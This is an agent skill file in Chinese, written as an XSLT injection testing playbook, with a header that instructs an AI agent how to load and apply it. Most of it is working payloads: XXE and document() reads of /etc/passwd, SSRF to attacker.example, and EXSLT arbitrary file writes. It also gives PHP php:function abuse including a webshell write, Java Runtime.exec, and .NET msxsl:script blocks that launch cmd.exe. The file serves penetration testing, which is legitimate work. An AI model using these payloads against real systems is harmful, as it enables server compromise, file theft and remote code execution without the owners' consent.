xslt-injection

xslt-injection

熱門

XSLT 注入測試:處理器指紋識別、XXE 與 document() SSRF、EXSLT 寫入原語、PHP/Java/.NET 擴充功能 RCE 攻擊面。適用於使用者可控的 XSLT/樣式表輸入或轉換端點在測試範圍內時。

1538星標
197分支
更新於 2026/6/16
SKILL.md
唯讀
名稱
xslt-injection
描述

XSLT 注入測試:處理器指紋識別、XXE 與 document() SSRF、EXSLT 寫入原語、PHP/Java/.NET 擴充功能 RCE 攻擊面。適用於使用者可控的 XSLT/樣式表輸入或轉換端點在測試範圍內時。

SKILL: XSLT Injection — Testing Playbook

AI 加載指令:當受攻擊者影響的 XSLT 在伺服器端被編譯或執行時,就會發生 XSLT 注入。請先對處理器家族(Java/.NET/PHP/libxslt)進行指紋識別 mapped,再根據不同平台鏈接 document()外部實體EXSLT內嵌腳本/擴充功能僅限授權測試;許多 Payload 具有破壞性。路由說明:若輸入屬於通用 XML 解析且未必會進入 XSLT,請交叉加載 xxe-xml-external-entity;若關注外發的 document(http:...) 請求,請交叉加載 ssrf-server-side-request-forgery


0. 快速入門

  1. 尋找 Sink(接收點):名稱為 xsltstylesheettransformtemplate 的參數、SOAP 樣式表、報表生成器、XML→HTML 轉換器。
  2. 探測反射:注入獨特的命名空間或 xsl:value-of select="'marker'" — 若輸出發生變化,很可能已被執行。
  3. 指紋識別 處理器(§1)。
  4. 按處理器家族提權document() / XXE(§2–3)、EXSLT 寫入(§4)、PHP(§5)、Java(§6)、.NET(§7)。

快速探測(無害標記):

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="'XSLT_PROBE_OK'"/>
  </xsl:template>
</xsl:stylesheet>

1. 廠商檢測

在運算式內部使用標準的 system-property 讀取:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:text>vendor=</xsl:text><xsl:value-of select="system-property('xsl:vendor')"/>
    <xsl:text>&#10;version=</xsl:text><xsl:value-of select="system-property('xsl:version')"/>
    <xsl:text>&#10;vendor-url=</xsl:text><xsl:value-of select="system-property('xsl:vendor-url')"/>
  </xsl:template>
</xsl:stylesheet>

常見指紋(僅列舉範例):

特徵訊號 可能的引擎
Apache Software Foundation / Xalan 標記 Xalan (Java)
Saxonica / Saxon URI 提示 Saxon
libxslt / GNOME 技術棧 libxslt (C,常透過 PHP、nginx 模組等)
Microsoft URL / MSXML 字串 MSXML / .NET XSLT 技術棧

根據識別結果選擇 §5–§7 的推進路徑。


2. 外部實體(透過 XSLT 觸發 XXE)

當解析器允許 DTD 時,XSLT 1.0 允許在樣式表或原始檔中使用基於 DTD 的實體

<!DOCTYPE xsl:stylesheet [
  <!ENTITY ext_file SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="'ENTITY_START'"/>
    <xsl:value-of select="&ext_file;"/>
    <xsl:value-of select="'ENTITY_END'"/>
  </xsl:template>
</xsl:stylesheet>

注意:經安全加固的解析器會停用外部 DTD — 此處失敗並不代表不存在其他 XSLT 攻擊向量(參見 §3)。


3. 透過 document() 讀取檔案

document() 能將另一個 XML 文件載入為節點集;本地檔案通常會被嘗試解析為 XML(容易引發報錯),但錯誤訊息與部分讀取仍可能造成洩漏。

Unix 範例

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:copy-of select="document('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

Windows 範例

<xsl:copy-of select="document('file:///c:/windows/win.ini')"/>

SSRF / 帶外 (Out-of-band)

<xsl:copy-of select="document('http://attacker.example/ssrf')"/>

若內嵌資料未返回給用戶端,可結合基於報錯 (Error-based)時序 (Timing) 特徵進行判斷。


4. 透過 EXSLT 寫入檔案 (exslt:document)

當啟用 EXSLT common 擴充功能時:

<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common"
  extension-element-prefixes="exploit">
  <xsl:template match="/">
    <exploit:document href="/tmp/evil.txt" method="text">
      <xsl:text>PROOF_CONTENT</xsl:text>
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

影響:在路徑權限允許的情況下進行任意檔案寫入 — 通常可透過 Web 根目錄、cron 任務路徑或檔案包含點實現 RCE


5. 透過 PHP 實現 RCE (php:function)

需要 PHP XSLT 暴露了 registerPHPFunctions() 式的配置(應用程式安全性誤設定)。命名空間設定:

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:php="http://php.net/xsl">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="php:function('readfile','index.php')"/>
  </xsl:template>
</xsl:stylesheet>

目錄清單列舉

<xsl:value-of select="php:function('scandir','.')"/>

危險模式(歷史濫用案例 — 僅限在實驗室環境驗證):

  • php:function('assert', string($payload)) — 依賴具體環境,通常已被廢棄或移除;舊版應用中常與 include/require 鏈接。
  • php:function('file_put_contents','/var/www/shell.php','<?php ...') — 當可呼叫函數被草率列入白名單時,可寫入 Webshell
  • /e 修飾符的 preg_replace(舊版 PHP)— 替換字串會被當作 PHP 程式碼執行;Metasploit 式的鏈接通常封裝了 Blob 的 base64_decode 來偷渡 meterpreter(或其他)分段 Payload。在 PHP 7+ 中已移除;僅適用於極為古老執行階段。

舊版 PHP 等價範例(展示 /e + base64 模式 — 僅限實驗室):

preg_replace('/.*/e', 'eval(base64_decode("BASE64_PHP_HERE"));', '', 1);

僅當 php:function 向使用者樣式表暴露了 preg_replace 時,才能從 XSLT 觸發此攻擊面(罕見且屬嚴重安全性誤設定)。

測試者注意事項:現代 PHP 安全加固通常會阻斷這些操作;未成功實現 RCE 並不代表不存在 document() / XXE 漏洞。


6. 透過 JAVA 實現 RCE (SAXON / XALAN 擴充功能)

Java 引擎可能會暴露對應到靜態方法的擴充功能函數。歷史漏洞公告中有相關範例;具體語法取決於版本與擴充功能繫結

說明性模式(概念性 — 請根據允許的擴充功能命名空間與 API 進行調整):

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
  <xsl:template match="/">
    <xsl:variable name="rtobject" select="rt:getRuntime()"/>
    <xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>
  </xsl:template>
</xsl:stylesheet>

Saxon 風格的靜態 Java 整合(高度依賴具體配置):

Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C ping 192.0.2.1')

192.0.2.1 替換為您的實驗室 Listener / 文檔專用 IP (RFC 5737 TEST-NET)。

操作指南:若擴充功能已被停用(常見的安全預設配置),請轉向 document()、SSRF 或其他位置的反序列化 — 並非所有 XSLT 端點都會開啟擴充功能。


7. 透過 .NET 實現 RCE (msxsl:script)

當允許使用 Microsoft XSLT 腳本區塊時:

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:msxsl="urn:schemas-microsoft-com:xslt"
    extension-element-prefixes="msxsl">
  <msxsl:script language="C#" implements-prefix="user">
    <![CDATA[
    public string xexec() {
      System.Diagnostics.Process.Start("cmd.exe", "/c whoami");
      return "ok";
    }
    ]]>
  </msxsl:script>
  <xsl:template match="/">
    <xsl:value-of select="user:xexec()"/>
  </xsl:template>
</xsl:stylesheet>

預設安全配置通常會停用腳本 — 請將此視為僅在啟用時生效的行為。


8. 決策樹

                    使用者能否影響 XSLT 或 XML 轉換?
                                    |
                                   否  --> 停止(超出範圍)
                                    |
                                   是
                                    |
                    +---------------+---------------+
                    |                               |
              輸出是否反映                        無反映
             注入的邏輯?                     嘗試盲注通道
                    |                               |
                    v                               v
            system-property()                 錯誤、OOB、時序
            指紋識別廠商                            |
                    |                               |
        +-----------+-----------+                   |
        |           |           |                   |
      libxslt     Java        .NET              document()
        |           |           |                   |
    document()   Saxon/Xalan  msxsl:script?      SSRF/檔案
    EXSLT 寫入   擴充功能?       |                   |
        |           |           C# Process         EXSLT?
        v           v           v                   v
     檔案讀寫     rt/exec      cmd.exe /c        對齊證據鏈

Payloads All The Things (PAT) 備註

PayloadsAllTheThings 專案記錄了許多注入類別;針對 XSLT,維護者筆記指出沒有類似 SQLi/XSS 工具鏈那樣的專屬維護工具專區 — 利用方式取決於具體處理器與配置,主要由 Proxy/手動 Payload 以及自訂腳本驅動。若條件允許,請預留時間使用與目標相同的引擎/版本進行本地實驗室重現


工具(實務)

類別 範例
Proxy / 手動 Burp Suite、OWASP ZAP — 重放樣式表 Payload,觀察回應與報錯
XML/XSLT 實驗室 在 VM 中搭配與目標完全一致的處理器(PHP libxslt、Java Saxon 版本、.NET framework)
帶外 (Out-of-band) Collaborator / 私有 Callback 伺服器,用於 document('http://…')

沒有任何單一通用掃描器能取代特定版本行為的驗證。


相關內容

  • xxe-xml-external-entity — DTD/實體加固、通用 XML 解析器 (../xxe-xml-external-entity/SKILL.md)。
  • ssrf-server-side-request-forgery — 當 document(http:…) 或實體 URL 導致伺服器抓取時 (../ssrf-server-side-request-forgery/SKILL.md)。